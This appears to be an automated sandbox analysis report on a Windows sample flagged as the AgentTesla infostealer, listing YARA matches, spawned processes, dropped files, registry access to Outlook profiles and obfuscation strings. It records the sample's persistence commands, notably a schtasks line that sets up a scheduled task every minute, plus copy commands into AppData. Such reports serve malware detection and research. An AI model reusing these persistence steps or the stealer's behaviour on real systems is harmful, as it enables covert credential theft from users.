Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 2.0.vbc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 0.2.pdP5Rv9pPW.exe.3996170.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 0.2.pdP5Rv9pPW.exe.3996170.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f reference_sample = 65463161760af7ab85f5c475a0f7b1581234a1e714a2c5a555783bdd203f85f4, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.AgentTesla, fingerprint = cbbb56fe6cd7277ae9595a10e05e2ce535a4e6bf205810be0bbce3a883b6f8bc, id = d3ac2b2f-14fc-4851-8a57-41032e386aeb, last_modified = 2022-06-20
Source: 2.0.vbc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f reference_sample = 65463161760af7ab85f5c475a0f7b1581234a1e714a2c5a555783bdd203f85f4, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.AgentTesla, fingerprint = cbbb56fe6cd7277ae9595a10e05e2ce535a4e6bf205810be0bbce3a883b6f8bc, id = d3ac2b2f-14fc-4851-8a57-41032e386aeb, last_modified = 2022-06-20
Source: 0.2.pdP5Rv9pPW.exe.39ca790.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 0.2.pdP5Rv9pPW.exe.39ca790.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f reference_sample = 65463161760af7ab85f5c475a0f7b1581234a1e714a2c5a555783bdd203f85f4, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.AgentTesla, fingerprint = cbbb56fe6cd7277ae9595a10e05e2ce535a4e6bf205810be0bbce3a883b6f8bc, id = d3ac2b2f-14fc-4851-8a57-41032e386aeb, last_modified = 2022-06-20
Source: 0.2.pdP5Rv9pPW.exe.39ca790.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 0.2.pdP5Rv9pPW.exe.39ca790.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f reference_sample = 65463161760af7ab85f5c475a0f7b1581234a1e714a2c5a555783bdd203f85f4, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.AgentTesla, fingerprint = cbbb56fe6cd7277ae9595a10e05e2ce535a4e6bf205810be0bbce3a883b6f8bc, id = d3ac2b2f-14fc-4851-8a57-41032e386aeb, last_modified = 2022-06-20
Source: 0.2.pdP5Rv9pPW.exe.3996170.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 0.2.pdP5Rv9pPW.exe.3996170.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f reference_sample = 65463161760af7ab85f5c475a0f7b1581234a1e714a2c5a555783bdd203f85f4, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.AgentTesla, fingerprint = cbbb56fe6cd7277ae9595a10e05e2ce535a4e6bf205810be0bbce3a883b6f8bc, id = d3ac2b2f-14fc-4851-8a57-41032e386aeb, last_modified = 2022-06-20
Source: 00000002.00000000.363305097.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f reference_sample = 65463161760af7ab85f5c475a0f7b1581234a1e714a2c5a555783bdd203f85f4, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.AgentTesla, fingerprint = cbbb56fe6cd7277ae9595a10e05e2ce535a4e6bf205810be0bbce3a883b6f8bc, id = d3ac2b2f-14fc-4851-8a57-41032e386aeb, last_modified = 2022-06-20
Source: 00000000.00000002.380144248.0000000003991000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f reference_sample = 65463161760af7ab85f5c475a0f7b1581234a1e714a2c5a555783bdd203f85f4, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.AgentTesla, fingerprint = cbbb56fe6cd7277ae9595a10e05e2ce535a4e6bf205810be0bbce3a883b6f8bc, id = d3ac2b2f-14fc-4851-8a57-41032e386aeb, last_modified = 2022-06-20
Source: Process Memory Space: pdP5Rv9pPW.exe PID: 5704, type: MEMORYSTR	Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f reference_sample = 65463161760af7ab85f5c475a0f7b1581234a1e714a2c5a555783bdd203f85f4, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.AgentTesla, fingerprint = cbbb56fe6cd7277ae9595a10e05e2ce535a4e6bf205810be0bbce3a883b6f8bc, id = d3ac2b2f-14fc-4851-8a57-41032e386aeb, last_modified = 2022-06-20
Source: Process Memory Space: vbc.exe PID: 5224, type: MEMORYSTR	Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f reference_sample = 65463161760af7ab85f5c475a0f7b1581234a1e714a2c5a555783bdd203f85f4, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.AgentTesla, fingerprint = cbbb56fe6cd7277ae9595a10e05e2ce535a4e6bf205810be0bbce3a883b6f8bc, id = d3ac2b2f-14fc-4851-8a57-41032e386aeb, last_modified = 2022-06-20

Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Code function: 0_2_00D52C4D	0_2_00D52C4D
Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Code function: 0_2_04EB5CF0	0_2_04EB5CF0
Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Code function: 0_2_04EB0040	0_2_04EB0040
Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Code function: 0_2_04ECAF60	0_2_04ECAF60
Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Code function: 0_2_04EC57A0	0_2_04EC57A0
Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Code function: 0_2_04ED6FE5	0_2_04ED6FE5
Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Code function: 0_2_04ED0006	0_2_04ED0006
Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Code function: 0_2_04EE5BC8	0_2_04EE5BC8
Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Code function: 0_2_04EE0040	0_2_04EE0040
Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Code function: 0_2_04EF5D48	0_2_04EF5D48
Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Code function: 0_2_04EF0040	0_2_04EF0040
Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Code function: 0_2_04EE0006	0_2_04EE0006
Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Code function: 0_2_04ECAF51	0_2_04ECAF51
Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Code function: 0_2_04EC5791	0_2_04EC5791
Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Code function: 0_2_04EF0006	0_2_04EF0006
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_04F0F080	2_2_04F0F080
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_04F06120	2_2_04F06120
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_04F0F3C8	2_2_04F0F3C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_04F0F3BD	2_2_04F0F3BD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09EE8860	2_2_09EE8860
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09EECA00	2_2_09EECA00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09EE1FF8	2_2_09EE1FF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09EE0040	2_2_09EE0040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09EE2A58	2_2_09EE2A58
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_0A276E0C	2_2_0A276E0C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_0A27C29F	2_2_0A27C29F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_0A27C6E0	2_2_0A27C6E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_0A279848	2_2_0A279848
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_0A273330	2_2_0A273330
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_0A3FBE70	2_2_0A3FBE70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_0A3F4320	2_2_0A3F4320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_0A3FBF52	2_2_0A3FBF52
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_0A3F1380	2_2_0A3F1380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_0A3F9038	2_2_0A3F9038
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_0A3F0040	2_2_0A3F0040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_0A3F2090	2_2_0A3F2090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_0A3FA640	2_2_0A3FA640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_0A3FA830	2_2_0A3FA830
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_0A3F64E8	2_2_0A3F64E8

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Code function: String function: 09EE5A68 appears 54 times

Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe

Code function: 0_2_00D5F968 CreateProcessAsUserA,

0_2_00D5F968

Source: excel.exe.2.dr

Static PE information: Resource name: RT_STRING type: VAX-order2 68k Blit mpx/mux executable

Source: pdP5Rv9pPW.exe, 00000000.00000002.375077653.00000000029E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamerattSBVyJzEUoMgBuAZJkkSZn.exe4 vs pdP5Rv9pPW.exe
Source: pdP5Rv9pPW.exe, 00000000.00000002.380144248.0000000003991000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamerattSBVyJzEUoMgBuAZJkkSZn.exe4 vs pdP5Rv9pPW.exe
Source: pdP5Rv9pPW.exe, 00000000.00000000.301105429.0000000000206000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameAvLaunch.exeB vs pdP5Rv9pPW.exe
Source: pdP5Rv9pPW.exe	Binary or memory string: OriginalFilenameAvLaunch.exeB vs pdP5Rv9pPW.exe

Source: pdP5Rv9pPW.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: pdP5Rv9pPW.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: fghn.exe.9.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: fghn.exe.9.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Roaming\excel\excel.exe 7BA4838E3356B69254730E891ADD84092E3143016A515FF3E990CE19874A2459

Source: pdP5Rv9pPW.exe	Virustotal: Detection: 66%
Source: pdP5Rv9pPW.exe	ReversingLabs: Detection: 51%

Source: pdP5Rv9pPW.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\pdP5Rv9pPW.exe "C:\Users\user\Desktop\pdP5Rv9pPW.exe"
Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd" /c mkdir "C:\Users\user\AppData\Roaming\fghn
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd" /c schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\user\AppData\Roaming\fghn\fghn.exe'" /f
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd" /c copy "C:\Users\user\Desktop\pdP5Rv9pPW.exe" "C:\Users\user\AppData\Roaming\fghn\fghn.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\user\AppData\Roaming\fghn\fghn.exe'" /f
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\excel\excel.exe "C:\Users\user\AppData\Roaming\excel\excel.exe"
Source: C:\Users\user\AppData\Roaming\excel\excel.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\excel\excel.exe "C:\Users\user\AppData\Roaming\excel\excel.exe"
Source: C:\Users\user\AppData\Roaming\excel\excel.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\fghn\fghn.exe C:\Users\user\AppData\Roaming\fghn\fghn.exe
Source: C:\Users\user\AppData\Roaming\fghn\fghn.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
Source: C:\Users\user\AppData\Roaming\fghn\fghn.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd" /c mkdir "C:\Users\user\AppData\Roaming\fghn
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\fghn\fghn.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd" /c schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\user\AppData\Roaming\fghn\fghn.exe'" /f
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\fghn\fghn.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd" /c copy "C:\Users\user\AppData\Roaming\fghn\fghn.exe" "C:\Users\user\AppData\Roaming\fghn\fghn.exe
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\user\AppData\Roaming\fghn\fghn.exe'" /f
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Jump to behavior
Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd" /c mkdir "C:\Users\user\AppData\Roaming\fghn	Jump to behavior
Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd" /c schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\user\AppData\Roaming\fghn\fghn.exe'" /f	Jump to behavior
Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd" /c copy "C:\Users\user\Desktop\pdP5Rv9pPW.exe" "C:\Users\user\AppData\Roaming\fghn\fghn.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\user\AppData\Roaming\fghn\fghn.exe'" /f	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fghn\fghn.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fghn\fghn.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd" /c mkdir "C:\Users\user\AppData\Roaming\fghn	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fghn\fghn.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd" /c schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\user\AppData\Roaming\fghn\fghn.exe'" /f	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fghn\fghn.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd" /c copy "C:\Users\user\AppData\Roaming\fghn\fghn.exe" "C:\Users\user\AppData\Roaming\fghn\fghn.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\user\AppData\Roaming\fghn\fghn.exe'" /f	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{172BDDF8-CEEA-11D1-8B05-00600806D9B6}\InProcServer32

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe

File created: C:\Users\user\AppData\Roaming\fghn

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winEXE@32/7@0/1

Source: pdP5Rv9pPW.exe	Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%
Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fghn\fghn.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior

Source: pdP5Rv9pPW.exe, CreateHotPool.cs	Base64 encoded string: 'WZFhk50pW2OmZMWUOXwyMIduqTzJ60jPf2OsMwDeSGiC8LAV526YSKogU3aWvSie', 'YpFiMiC/kO9OcRkhNu6mC3n7Tdj750lKg7rA03kDpOM8A/lQE/Lv6Tfa6vefiTJj', 'xQcAAg+NYlRePvn9hmGJQ/DJSUj2NfX6+RI2T6hRX1Fk/a1ZdHvNqYYMEzl0Q5Fc', 'ibJCET1aVlN6DNm3K1QoK3YzyicPwpY8J2bt15NavCwqW2lcNLBBWFSShhKGsLx2', '+RakZT8HDwTrKIp7uBHT74ESxoVRAPoz4js3DLbj8FnHGWMpzo5n8JN8bI6wACVR'
Source: 0.0.pdP5Rv9pPW.exe.190000.0.unpack, CreateHotPool.cs	Base64 encoded string: 'WZFhk50pW2OmZMWUOXwyMIduqTzJ60jPf2OsMwDeSGiC8LAV526YSKogU3aWvSie', 'YpFiMiC/kO9OcRkhNu6mC3n7Tdj750lKg7rA03kDpOM8A/lQE/Lv6Tfa6vefiTJj', 'xQcAAg+NYlRePvn9hmGJQ/DJSUj2NfX6+RI2T6hRX1Fk/a1ZdHvNqYYMEzl0Q5Fc', 'ibJCET1aVlN6DNm3K1QoK3YzyicPwpY8J2bt15NavCwqW2lcNLBBWFSShhKGsLx2', '+RakZT8HDwTrKIp7uBHT74ESxoVRAPoz4js3DLbj8FnHGWMpzo5n8JN8bI6wACVR'
Source: fghn.exe.9.dr, CreateHotPool.cs	Base64 encoded string: 'WZFhk50pW2OmZMWUOXwyMIduqTzJ60jPf2OsMwDeSGiC8LAV526YSKogU3aWvSie', 'YpFiMiC/kO9OcRkhNu6mC3n7Tdj750lKg7rA03kDpOM8A/lQE/Lv6Tfa6vefiTJj', 'xQcAAg+NYlRePvn9hmGJQ/DJSUj2NfX6+RI2T6hRX1Fk/a1ZdHvNqYYMEzl0Q5Fc', 'ibJCET1aVlN6DNm3K1QoK3YzyicPwpY8J2bt15NavCwqW2lcNLBBWFSShhKGsLx2', '+RakZT8HDwTrKIp7uBHT74ESxoVRAPoz4js3DLbj8FnHGWMpzo5n8JN8bI6wACVR'

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5336:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5728:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3524:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5220:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2188:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4224:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4660:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3372:120:WilError_01

Source: 2.0.vbc.exe.400000.0.unpack, A/F1.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 2.0.vbc.exe.400000.0.unpack, A/F1.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: pdP5Rv9pPW.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: pdP5Rv9pPW.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:

Data Obfuscation

Binary or sample is protected by dotNetProtector

Source: pdP5Rv9pPW.exe, 00000000.00000000.301051021.0000000000192000.00000020.00000001.01000000.00000003.sdmp	String found in binary or memory: dotNetProtector
Source: pdP5Rv9pPW.exe, 00000000.00000000.301051021.0000000000192000.00000020.00000001.01000000.00000003.sdmp	String found in binary or memory: 3H@rM_2BytesPerCharDirectorySeparatorCharRemoveMemberMagicNumber_haveReadFromReaderInternalFormatProviderMethodBuilderModuleBuilderTypeBuilderAssemblyBuilderSpecialFolderIEEERemainderBufferResourceManagerDebuggerCheckHelperModuleRefUserKeepDelimiterGet_CreatePdbSymbolWriterCreateSymWriterget_IsPointerBitConverterKeyValuePairGetTokenForFloorGet_PercentGroupSeparatorTextElementEnumerator.ctor.cctordotNetProtectorget_IsConstructorCreateDecryptorCodePageDataPtrIntPtrM_iCAsAbsSystem.Diagnosticsgsadshdsget_PreservePropertyRidsFadsssfhcfggddsgsdfgfgggfggggggggilggEndsFadsssfhcfddgdgsgsdfgfgggfggggggggilggEndsGetMethodsadsdsAesSystemEnterpriseServicesSystem.Runtime.InteropServicesSystem.Runtime.CompilerServicesSystem.ResourcespFljoFmnmndkleo.resourcesGetDirectoriesabbreviatedMonthNamesDayNamesSaShortTimesM_iEndLinesInlineeLinesGetExportedTypesCompareDeclaringTypesGregorianCalendarTypesMemberTypesStartOfUserTypesEmptyTypesGetCatchEndAddressesMethodAttributesSetFileAttributesTypeAttributesMethodImplAttributesGetCustomAttributesRfc2898DeriveBytesGetBytesfhfsGet_BindingFlagsGetMethodImplementationFlagsSetImplementationFlagsjfddggsshgsfhddsdshfddfhhsagshsSet_HasThisGet_MethodBodyChunksEqualsContainsCallingConventionsm_OptionsCreationOptionsCosGetCustomAttributePropsGetMemberRefPropsget_CharsGetMembersGetOptionalCustomModifiersGet_ExceptionHandlersReadExceptionHandlersRuntimeHelpersGetParametersGet_TotalHoursget_IsClassAssemblyBuilderAccessM_accessGetCurrentProcessSsucggsshhhdassdasgggggggggdddddddddddfccgdfsdefssSsucggsshhhdassdassssssssgggggggggdddddddddddfccgdfsdefssSsucggsshhdhgdddddddggggggggggggsddddfccggdfsdefssgfssGetGenericArgumentsExistsModulus l
Source: pdP5Rv9pPW.exe	String found in binary or memory: dotNetProtector
Source: pdP5Rv9pPW.exe	String found in binary or memory: 3H@rM_2BytesPerCharDirectorySeparatorCharRemoveMemberMagicNumber_haveReadFromReaderInternalFormatProviderMethodBuilderModuleBuilderTypeBuilderAssemblyBuilderSpecialFolderIEEERemainderBufferResourceManagerDebuggerCheckHelperModuleRefUserKeepDelimiterGet_CreatePdbSymbolWriterCreateSymWriterget_IsPointerBitConverterKeyValuePairGetTokenForFloorGet_PercentGroupSeparatorTextElementEnumerator.ctor.cctordotNetProtectorget_IsConstructorCreateDecryptorCodePageDataPtrIntPtrM_iCAsAbsSystem.Diagnosticsgsadshdsget_PreservePropertyRidsFadsssfhcfggddsgsdfgfgggfggggggggilggEndsFadsssfhcfddgdgsgsdfgfgggfggggggggilggEndsGetMethodsadsdsAesSystemEnterpriseServicesSystem.Runtime.InteropServicesSystem.Runtime.CompilerServicesSystem.ResourcespFljoFmnmndkleo.resourcesGetDirectoriesabbreviatedMonthNamesDayNamesSaShortTimesM_iEndLinesInlineeLinesGetExportedTypesCompareDeclaringTypesGregorianCalendarTypesMemberTypesStartOfUserTypesEmptyTypesGetCatchEndAddressesMethodAttributesSetFileAttributesTypeAttributesMethodImplAttributesGetCustomAttributesRfc2898DeriveBytesGetBytesfhfsGet_BindingFlagsGetMethodImplementationFlagsSetImplementationFlagsjfddggsshgsfhddsdshfddfhhsagshsSet_HasThisGet_MethodBodyChunksEqualsContainsCallingConventionsm_OptionsCreationOptionsCosGetCustomAttributePropsGetMemberRefPropsget_CharsGetMembersGetOptionalCustomModifiersGet_ExceptionHandlersReadExceptionHandlersRuntimeHelpersGetParametersGet_TotalHoursget_IsClassAssemblyBuilderAccessM_accessGetCurrentProcessSsucggsshhhdassdasgggggggggdddddddddddfccgdfsdefssSsucggsshhhdassdassssssssgggggggggdddddddddddfccgdfsdefssSsucggsshhdhgdddddddggggggggggggsddddfccggdfsdefssgfssGetGenericArgumentsExistsModulus l
Source: fghn.exe.9.dr	String found in binary or memory: dotNetProtector
